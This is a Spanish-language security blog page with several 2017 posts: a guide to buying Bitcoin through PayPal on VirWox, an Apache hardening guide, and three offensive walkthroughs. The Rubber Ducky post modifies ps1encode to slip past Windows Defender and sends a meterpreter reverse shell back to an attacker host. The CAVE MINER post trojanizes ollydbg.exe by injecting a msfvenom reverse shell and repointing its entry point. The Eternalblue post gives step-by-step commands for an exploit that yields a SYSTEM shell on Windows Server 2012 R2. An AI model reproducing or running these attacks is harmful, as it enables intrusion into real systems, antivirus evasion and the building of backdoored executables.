martes, 26 de diciembre de 2017

Comprar Bitcoins utilizando PayPal


Voy a comenzar esta nota contando la historia de mi vida que aún no he superado: por supuesto que conozco las criptomonedas desde que me inicié en esto, desde que bitcoin era mineable con una GPU. Cuando tenía unos 15 años, estuve entre comprarme una ATI (una de las más recomendadas para minar en aquel entonces) o una PlayStation 2. ¿Adivinen quién se equivocó y se compró la PS2? Yo. Si hubiera comprado la placa ATI en aquel entonces, hoy no estaría acá escribiendo esta nota :@ en fin, algún día lo superaré xD.

Bueno ahora sí, hace poco recibí a través de PayPal el reembolso de uno de mis viajes a una conferencia. Si eres sudaca al igual que yo, sabrás que es prácticamente imposible sacar el dinero de ahí xD así que me puse a investigar que medios había para comprar Bitcoins utilizando PayPal.
Lo cierto es que, si queremos comprar BTC con una tarjeta de crédito, hay una gran variedad de opciones en la web para ello. Pero cuando se trata de PayPal, es difícil hallar un sitio que no cobre una comisión totalmente incoherente. En principio me he encontrado con webs que cobraban hasta un 40% o 50% de comisión, lo cual es una locura. Luego, consultando un poco a mis amigos que saben del tema (@SeguInfo & @agramajo) me recomendaron hacer la compra a través de VirWox.

VirWox en principio cobra una comisión de alrededor del 3% (si, solo %3) utilizando PayPal, pero hay que tener presente ciertos requisitos y limitaciones que pretendo contarles en esta nota, para quienes nunca han comprado BTC usando PayPal.

Allí vamos, paso a paso:

CREACIÓN DE CUENTA EN VIRWOX
El primer paso, es una simple registración en https://www.virwox.com/register.php, en la cual no hay que especificar mucho más que un nombre de usuario, correo y contraseña.

Recomendación: una vez que accedimos por primera vez, podemos ir a Mi Cuenta -> Cambio de Opciones y activar la autenticación Multi-Factor.

DEPÓSITO DE DINERO EN VIRWOX
Para poder hacer cualquier tipo de compra, es necesario en primer lugar depositar dinero en nuestra cuenta de VirWox. Aquí es donde vamos a utilizar PayPal.

Limitación: VirWox solo acepta depósitos de cuentas de PayPal verificadas. Con verificada no se refiere a la verificación de correo electrónico, sino a la que se hace a través de la tarjeta de crédito. Cuando se solicita esta verificación, PayPal cargará un monto de USD$ 1 en tu tarjeta de crédito, cuya descripción de cargo tendrá un número de 4 dígitos. Cuando puedas visualizar ese número en tu resumen de movimientos, podrás utilizarlo para confirmar y validar la tarjeta de crédito que tienes en PayPal, a partir de ahí, tu cuenta será verificada y VirWox aceptará depósitos desde la misma.


Autenticados en nuestra cuenta de VirWox, hacemos click en “Depósito” en el menú lateral izquierdo.



Entre las opciones de medios para hacer depósitos, encontraremos la de PayPal.

Limitación: Las cuentas recién creadas pueden hacer un depósito máximo de USD$ 105 por día, durante un plazo de solo 3 días. Es decir que solo podrás depositar un máximo de alrededor de 300 dólares en 3 días, de a 100 dólares por día. Una vez que alcances ese límite, tendrás que esperar aproximadamente 15 días hasta que tu cuenta suba automáticamente de nivel cero a nivel uno.
Una vez que tu cuenta esté en nivel uno, podrás depositar un máximo de USD$ 144 por día, con un total máximo de USD$ 1080 al mes. 


En mi caso mi cuenta es de nivel uno, por lo que haré un depósito de USD $120.



Al presionar en “Pague con PayPal” se nos abrirá un enlace en este medio para realizar el pago.


Inmediatamente después de pagar, se nos mostrará el siguiente mensaje:

 

Y el depósito se verá reflejado en el estado de la cuenta, como podemos ver en la siguiente imagen, se ha cobrado una comisión: de los USD$ 120 que depositamos, nos quedó USD$ 116,61. No es tan malo en comparación a las comisiones del 40% o más que se cobran otros servicios para hacer lo mismo.




CAMBIO DE USD A SLL
La compra directa de USD a BTC no es posible a través de VirWox, hay que pasar primero de USD A SLL. El proceso lleva unos pocos segundos.

En el menú lateral de la izquierda seleccionamos USD/SLL.


Allí especificamos que queremos vender USD$ 116 a cambio de lo que corresponda en el momento que lo hagan, el valor suele alterarse rápidamente.



Colocamos la orden.



A tener en cuenta: Tal como se observa en el mensaje de la imagen anterior, por el cambio de USD a SLL se cobra una pequeña comisión también. Esto se nos suma a lo anterior, lo cierto es que por cada operación perdemos un poco, aunque insisto que sigue siendo mucho menos que en otros sitios web.

Al presionar en “Coloque la orden!”, el cambio se realiza inmediatamente.


Esto ya lo podemos ver reflejado en el balance de nuestra cuenta




CAMBIO DE SLL A BTC
Ahora si, el paso final para la compra de Bitcoins. Seleccionamos BTC/SLL en el menú lateral izquierdo.



Especificamos que queremos comprar X cantidad de BTC, lo que corresponda en el momento que lo hagan, según la cantidad de SLL que tengan.


Colocamos la orden, todo exactamente igual a cuando cambiamos de USD a SLL, y walá, ya tenemos nuestros bitcoins.


En este caso se sumaron a 0.007 BTC que ya tenía de una compra anterior.

RETIRAR LOS BTC
Podemos retirar los Bitcoins de VirWox, a nuestra billetera BTC donde sea que la tengamos. Para ello hacemos click en “Retiro” en el menú lateral izquierdo.


Allí especificamos la cantidad de Bitcoins que deseamos retirar, así como la dirección de la billetera.


A tener en cuenta: si es el primer retiro de bitcoins que realizamos, VirWox pondrá a prueba nuestra ansiedad revisando la operación manualmente para aprobarla, esto tardará de 24 a 48hs. A partir del segundo movimiento de retiro, ya no es necesario una validación y se procesará tan rápido como la red Bitcoin lo desee xD.



Bueno, esto es todo. Espero que les sea de gran utilidad la nota, si alguien conoce otros sitios web alternativos para comprar con PayPal que cobren una comisión razonable publíquenlo en los comentarios de la nota 😊.

Por cierto, si alguien quiere donarme un satoshi por este tutorial, esta es la dirección de una de mis wallets: 1B8b1zT6d1m2HJUQpYtRps4GEWgJA5m9fJ
:’D

Nos vemos en la próxima!.

Author: Sheila A. Berta
Twitter: @UnaPibaGeek
Web: www.semecayounexploit.com

miércoles, 30 de agosto de 2017

Hardening en Apache Web Server


  A raíz de un test que me tocó hacer me vi obligada a detallar una pequeña guía práctica personal para asegurar y hacer un hardening en Apache Web Server.

  La realidad es que hay mucha información sobre cómo configurar “mod_security” y otros firewalls de aplicaciones embebibles para proteger nuestro servidor pero, en la mayoría de los casos, no se mencionan ciertas configuraciones básicas que nos aportan un gran valor al nivel de seguridad del mismo. Vamos a proceder a presentar algunas...

  Voy a asumir que todos usan HTTPS y redireccionan a todo el mundo que quiera entrar por HTTP para saltar esa parte e ir directamente a lo que me interesa explicar. Al contar con varias opciones voy a explicar una por una que es lo que hacen, sin entrar en detalles del tipo “qué es HSTS” ya que está más que documentado.

  Todos los parámetros de configuración que se listarán se deben añadir al final del apache.conf - apache2.conf - httpd.conf de nuestro servidor. Algunas opciones ya vienen marcadas por defecto tal y como las voy a mencionar, pero voy a mostrarlas de todos modos para asegurarnos de que si se decide cambiarlas en un futuro, no nos afecte en absoluto.

WEB SERVER FINGERPRINT


  Por defecto Apache nos devolverá su nombre, versión y probablemente mucha más información que no le interesa a nadie con buenas intenciones xD. Vamos a cambiar este comportamiento:

ServerTokens Prod
ServerSignature Off

  Una vez hecho esto veremos que en las cabeceras, Apache simplemente arrojará como dato que es un Apache, sin dar ningún dato más.

ETAGS

  Los ETags dan demasiada información al igual que el Fingerprint. Vamos a demandarle a nuestro Apache que si el documento proviene de un archivo no genere este campo:

FileETag None

  Con esto ya nos aseguramos de que nuestro servidor provea la menor cantidad de información posible, o que al menos se haya reducido considerablemente.

TRACE

  Otra cosa que no se tiene en cuenta generalmente es deshabilitar este método, que se
puede utilizar en distintos vectores de ataque, así que lo vamos a hacer:

TraceEnable off

PROTOCOLOS DE CIFRADO

  No todos los protocolos de cifrado son seguros, así que vamos a decirle a nuestro servidor que solo acepte aquellos en los que confiamos y, estos, quedan a elección según el juicio personal de cada uno de ustedes:

SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4
SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2

  La primera línea limita qué cifrados puede utilizar el cliente para conectarse y la segunda rechaza todos los protocolos habilitando únicamente TLS.

DISMINUIR VECTORES DE ATAQUE

  Vamos a añadir algunos headers que nos van a servir para eliminar una cantidad considerable de vectores de ataque que son muy fáciles de realizar y que con las configuraciones por defecto no son mitigados:

Header always append X-Frame-Options SAMEORIGIN
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Header always append X-XSS-Protection "1; mode=block"
Header always append X-Content-Type-Options nosniff
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains;"

  Así evitamos que nuestra web pueda ser insertada en un iframe en otro servidor, aseguramos todas las cookies y HttpOnly, cortamos la ejecución de XSS si el navegador lo detecta (no todos lo soportan), evitamos que el navegador haga MIME-sniffing y por último habilitamos HSTS.

GUARDAMOS Y REINICIAMOS

  Luego de un save and restart httpd, nuestro Apache WS ya es un servidor que da el mínimo de información a un atacante y a la vez protege el tráfico de nuestros usuarios.
  Como aclaración quiero recordar que este artículo no es una implementación única y definitiva para asegurar sus servidores web Apache y no se pretende sustituir la cantidad innumerable de tutoriales que hay circulando, sino que se pueda complementar con estos. Los parámetros presentados se deben adicionar a otras herramientas como mod_security, fail2ban o las que deseen.

  Espero les sirva este pequeño artículo y puedan seguir desarrollando sus habilidades para además de saber atacar, saber defenderse.

¡Nos leemos pronto!
Sol (@0zz4n5).

domingo, 20 de agosto de 2017

Meterpreter con Rubber Ducky


Domingo a la noche, mañana por suerte es feriado :) hace frío... había que buscar algo para hacer. En realidad tengo una tonelada de cosas para hacer :( pero queriendo salir de la rutina, miré hacia mi izquierda y vi ahí tirado un Rubber Ducky que me traje de Delloite la última vez que visité a mi amigo @clucianomartins :)

Aún no había jugado con este juguete, aunque ya lo conocía. Me propuse buscar la forma más fácil y rápida de obtener una sesión de meterpreter en el target, utilizando este hardware de Hak5.

Si leyeron algún paper mío, sabrán que mi forma favorita de obtener una sesión de meterpreter en un objetivo es a través de un archivo .SCT.  y es mi manera favorita por la capacidad de evadir AV/IDS que tiene este método y además porque si está bien configurado, funciona muy rápido.

Implementé esta técnica con Eternalromance en el paper que escribí sobre cómo aprovechar dicha vulnerabilidad en Windows Server 2016, y a partir de ahí, Microsoft creó una firma para Windows Defender de manera que ahora me detecta mi ataque favorito (wahhh los odio xD).  Pero le dí una vuelta de tuerca más y ya pude obtener mi sesión de meterpreter bypasseando el Defender ;-).

Esa será la técnica que utilizaremos ahora con Rubber Ducky, para obtener rápidamente una sesión de meterpreter en el target.

La herramienta que necesitamos para generar el payload en formato .SCT es ps1encode, la descargamos desde aquí: https://github.com/CroweCybersecurity/ps1encode.

Vamos a realizarle una pequeña modificación, para saltarnos el Defender de ahora xD abrimos el script ps1encode.rb con cualquier editor de texto, y nos dirigimos a la línea 99. Allí, donde se ejecuta el comando que genera el payload, añadiremos lo siguiente: -e x86/shikata_ga_nai -b '\\x00'.

Quedará así:


Ahora sí, guardamos y utilizamos esta versión del script.
Generamos el payload con los siguientes parámetros: sudo ./ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=[IP_ATACANTE] --LPORT=1337 -t sct


Esto nos creará un archivo llamado index.sct en esa misma carpeta. Lo que debemos hacer es asignar permisos 777 a ese archivo y moverlo a donde tenemos el servidor web en la máquina atacante. Usualmente en /var/www/html.
La idea es que este archivo .sct pueda ser accedido de la siguiente forma: http://IP_ATACANTE/index.sct.

La última línea que vemos en la salida del comando, es lo que se debe ejecutar en la máquina target. La copiaremos a nuestro script para el Rubber Ducky.


Ese es todo el script que necesitamos, en el lenguaje que entiende el Rubber Ducky. Entre algunos delay's, lo que hace es abrir la ventana de "run" y escribir el comando necesario.

Utilizaremos la web: https://www.ducktoolkit.com/encoder/ para generar el .bin para el Rubber Ducky.


Un paso súper importante aquí, es seleccionar el idioma de teclado correcto a la derecha. En mi caso seleccioné "Spain" porque la máquina target tiene el teclado en español.


Presionamos en "Generate Script" y tras unos segundos contaremos con la siguiente opción:


Al presionar "Inject.bin" se nos descargará ese archivo, el cual tenemos que copiar a la MicroSD del Rubber Ducky.



Una vez hecho esto, ya tenemos el Rubber Ducky listo para usar. El siguiente paso es configurar el multi/handler de Metasploit para recibir la conexión inversa.


Una vez que conectamos el Rubber Ducky en la máquina target, obtenemos la sesión de meterpreter...



Bueno, espero que les sea de utilidad :)
¡Nos leemos pronto!.

Author: Sheila A. Berta 
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

sábado, 5 de agosto de 2017

[STEP-BY-STEP] Explotar Eternalromance en Windows Server 2016


Quizás es un poco tarde para escribir este post, mis últimas semanas preparando la charla para Black Hat Arsenal/DefCon y el viaje a Las Vegas fue todo bastante a las apuradas. Increíblemente ya hace casi 1 mes desde que redacté el paper hablando sobre cómo explotar Eternalromance y Eternalsynergy en Windows Server 2016. La versión en inglés del paper se publicó en exploit-db aquí: https://www.exploit-db.com/docs/42329.pdf y la versión en español no la subieron, ni idea por qué, envié los 2 papers juntos pero me parece que al de offensive-security le dió ganas de ir al baño justo cuando tenía que subir la versión en español y dejó solo la de inglés :p.

El paso a paso de la explotación es un poco largo como para un post, así que en los siguientes párrafos me limitaré simplemente a contar de qué se trata y luego dejaré el link al paper en español con el detalle de los pasos :-).

Los exploits Eternalromance y Eternalsynergy que fueron publicados por TheShadowBrokers no son estables al momento de atacar sistemas con Windows Server 2012 y 2016, cuando se intenta utilizarlos desde Fuzzbunch (el framework de la NSA), ocasionan la mayoría de las veces un BSOD en la máquina víctima.

Hace unas semanas, Sleepya desarrolló un exploit que aprovecha el mismo bug de eternalromance y eternalsynergy pero el método de explotación es diferente, logrando enorme estabilidad al impactar sistemas con Windows Server 2012 y 2016. Pero como ya ha ocurrido con exploits anteriores de Sleepya, no había ningún comentario ni guía o algo que mostrará cómo utilizarlo, por ende nadie había publicado nada al respecto.

Cuando me puse a analizarlo, lo cierto es que había que entenderlo para lograr cambiar su comportamiento y ejecutar en la máquina target lo que nosotros quisiéramos. Una vez que lo logré, me dispuse a escribir un paso a paso y así nació el nuevo paper ;-).

A lo largo del documento (que tampoco es tan largo) se explica cómo hacer funcionar el exploit, proporcionar los parámetros adecuados y preparar una shellcode para finalmente obtener una sesión de meterpreter en el equipo objetivo.




Dos cosas interesantes a mencionar: primero, que el exploit es autenticado, sin embargo, aun si utilizáramos una cuenta Guest, la shell que vamos a recibir tendrá privilegios de SYSTEM. Segundo, el exploit NO está disponible en metasploit, no es eternalblue, sin embargo, es un exploit que funciona muy bien y hay que tenerlo en cuenta ;-).

Sin más, dejo el link al paper en español: https://drive.google.com/open?id=0B6QiDzK5icraS2JGWlVDcmRDUzg.

Nos leemos pronto!.

Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

lunes, 10 de julio de 2017

Inyectar shell inversa en PE (.exe) con CAVE MINER


Hace poco en KitPloit publicaron una herramienta llamada CAVE MINER que me pareció muy interesante. Si alguno estuvo siguiendo las entradas de reversing que escribí durante los últimos 2 meses, recordará que cuando queríamos inyectar algún código propio dentro de un ejecutable ya compilado debíamos buscar un hueco para ello e inyectarlo allí. Justamente, lo que hace CAVE MINER es buscar dentro de un ejecutable aquellos huecos y nos informa el offset de inicio y el tamaño de dicho espacio. Adicionalmente nos permite inyectar un payload (código que deseemos) dentro del hueco que prefiramos.

Veamos cómo puede sernos útil esta herramienta en la práctica, inyectando dentro de un ejecutable, una shell inversa de Metasploit.
 
Como primer paso, descargamos la herramienta desde el github: https://github.com/Antonin-Deniau/cave_miner y la instalamos ejecutando el setup.py con Python 2.x.

Una vez que la instalación finalizó, podemos ejecutar el comando “cave_miner” desde cualquier punto y obtendremos la ayuda de la herramienta.


He tomado el primer ejecutable que tenía a mano, el cual era el binario de OllyDBG, y lo pasé como parámetro a la herramienta, utilizando el comando “search”.


De todos los huecos que ha encontrado, me quedo con el que comienza en el offset 0x000c9d4b, ya que es el de mayor tamaño.



En ese espacio, inyectaremos el payload de una shell inversa generada con msfvenom. La misma la creamos con el siguiente comando: msfvenom -p windows/shell/reverse_tcp LHOST=[IP_ATACANTE] LPORT=4444 -f raw -o shell.bin.


Una vez creado el archivo con el payload en raw, se lo pasamos de parámetro a la herramienta, junto con el offset donde comienza el hueco donde deseamos inyectarlo. Si consultamos la ayuda, el formato para hacerlo es el siguiente: cave_miner inject <payload> <archivo_a_inyectar> <offset_del_hueco>.

Por lo tanto, el comando se conforma de la siguiente manera: cave_miner inject shell.bin ollydbg.exe 0x000c9d4b.

Si bien, tras finalizar este paso, tenemos la shell correctamente inyectada en el archivo del Ollydbg, la misma no será ejecutada en ningún momento ya que no hay ninguna instrucción del programa que lo lleve a procesar el código que hemos añadido en aquel hueco. Para cambiar esto, modificaremos el Entry Point del ejecutable de manera que al iniciar se dirija a la primera instrucción que ejecuta el payload.

Ahora bien… ¿Cuál es la dirección de la primera instrucción del payload? Ya tenemos el offset que nos informó cave miner, ahora simplemente convertiremos el offset a RVA utilizando el conversor de Stud_PE que vimos en notas anteriores.



Hecha la conversión, sabemos que la RVA donde tenemos que apuntar el Entry Point es la C9D4B. Así que abrimos el ejecutable con Lord PE y hacemos la modificación.


Guardamos el ejecutable y ahora sí, está listo para ser ejecutado en cualquier equipo y devolvernos la shell inversa (no olvidemos configurar el exploit/multi/handler antes de ejecutar el binario modificado).


Si quisiéramos, podríamos fácilmente pasar de esta simple shell inversa a una sesión de meterpreter. Para ello mandamos la shell a background presionando CTRL+Z y configuramos el módulo de post/multi/manage/shell_to_meterpreter para utilizar sobre dicha shell.


Configuramos también el LHOST y LPORT de acuerdo a nuestro equipo y ejecutamos “run”.


La nueva sesión quedará en background también. Podemos interactuar con ella ejecutando el comando sessions -i <id>.


Bueno, that’s all :-) ¡Espero que les sea útil!. Hasta la próxima ;).

Author: Sheila A. Berta.
Tw: @UnaPibaGeek.
Web: www.semecayounexploit.com.

viernes, 7 de julio de 2017

[STEP-BY-STEP] Explotar Eternalblue en Windows Server 2012 R2


Tengo el cerebro un poco quemado jaja tan así que no sé cómo empezar a escribir esta nota… ¿y qué mejor forma que admitir que no sé cómo empezar? :-) Lo que sí sé, es que quiero compartirles mi último paper, el cual se basa en una investigación que hice la semana pasada sobre una versión de Eternalblue que decía funcionar sobre targets que originalmente no estaban soportados por dicho exploit.

Se trata de la versión de Sleepya, publicada en su github, precisamente aquí:  https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.

Lo cierto es que el autor de la misma no publicó información sobre su uso y tampoco vi a alguien mostrarlo en funcionamiento, por el contrario, en el github se puede ver gente comentando que el exploit falla. Ese fue el motivo por el cual me puse a investigar, y si bien no pude hacerlo funcionar en Windows 8.1, si pude en Windows Server 2012 R2 :-).

Así que, si todavía no leíste el paper de exploit-db donde publiqué el procedimiento, a continuación dejo un resumen del paso a paso que debes hacer para lograr un impacto exitoso y obtener una sesión de meterpreter sobre el objetivo ;-).

PASO 1: ENSAMBLAR LA KERNEL SHELLCODE
Necesitamos utilizar la kernel shellcode desarrollada por Sleepya, publicada en el siguiente enlace: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm.
Como podemos observar, es un .asm que debemos ensamblar y para ello simplemente utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm.



PASO 2: GENERAR LA USERLAND SHELLCODE
Un payload de metasploit generado con msfvenom será la userland shellcode que acompañará a la kernel shellcode emsamblada en el paso anterior. Generamos el payload con el siguiente comando: msfvenom -p windows/x64/merterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread  LHOST=[IP_ATACANTE] LPORT=4444



PASO 3: UNIR KERNEL SHELLCODE + USERLAND SHELLCODE
Para un impacto exitoso, debemos pasar ambas shellcodes como parámetro al exploit. Por lo tanto, las uniremos en un mismo archivo en formato .bin haciendo un simple “append” de una shellcode con la otra.


Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo “meterpreter.bin” que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.


PASO 4: CONFIGURAR EL LISTENER DE METASPLOIT
El paso previo al lanzamiento del exploit, es configurar el listener de metasploit para que reciba la conexión inversa del meterperter una vez que impactemos con éxito sobre el target.
Al igual que en cualquier otro caso, utilizaremos el módulo de exploit/multi/handler con el payload de meterpreter.



PASO 5: LANZAMIENTO DEL EXPLOIT
El exploit esta desarrollado en Python, por lo tanto, lo descargamos desde el github y lo guardamos en la máquina atacante con extensión .py.

Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las líneas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizará para autenticación. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el target.


Guardamos y procedemos a ejecutar el exploit con los siguientes parámetros:

python exploit.py <ip_target> meterpreter.bin 200

El parámetro con valor “200” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.
Para esta userland shellcode utilizaremos un número de conexiones Groom de 200. Si al impactar no recibimos la conexión inversa, podemos probar incrementando este número de a 50.


Inmediatamente recibiremos la sesión de meterpreter en la terminal de Metasploit.





Cabe destacar que nos encontramos en una sesión de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest

Espero que se diviertan tanto como yo, no lo usen para crear ransomware :-P
Dejo los links al paper: 


Nos leemos pronto!.

Author: Sheila A. Berta.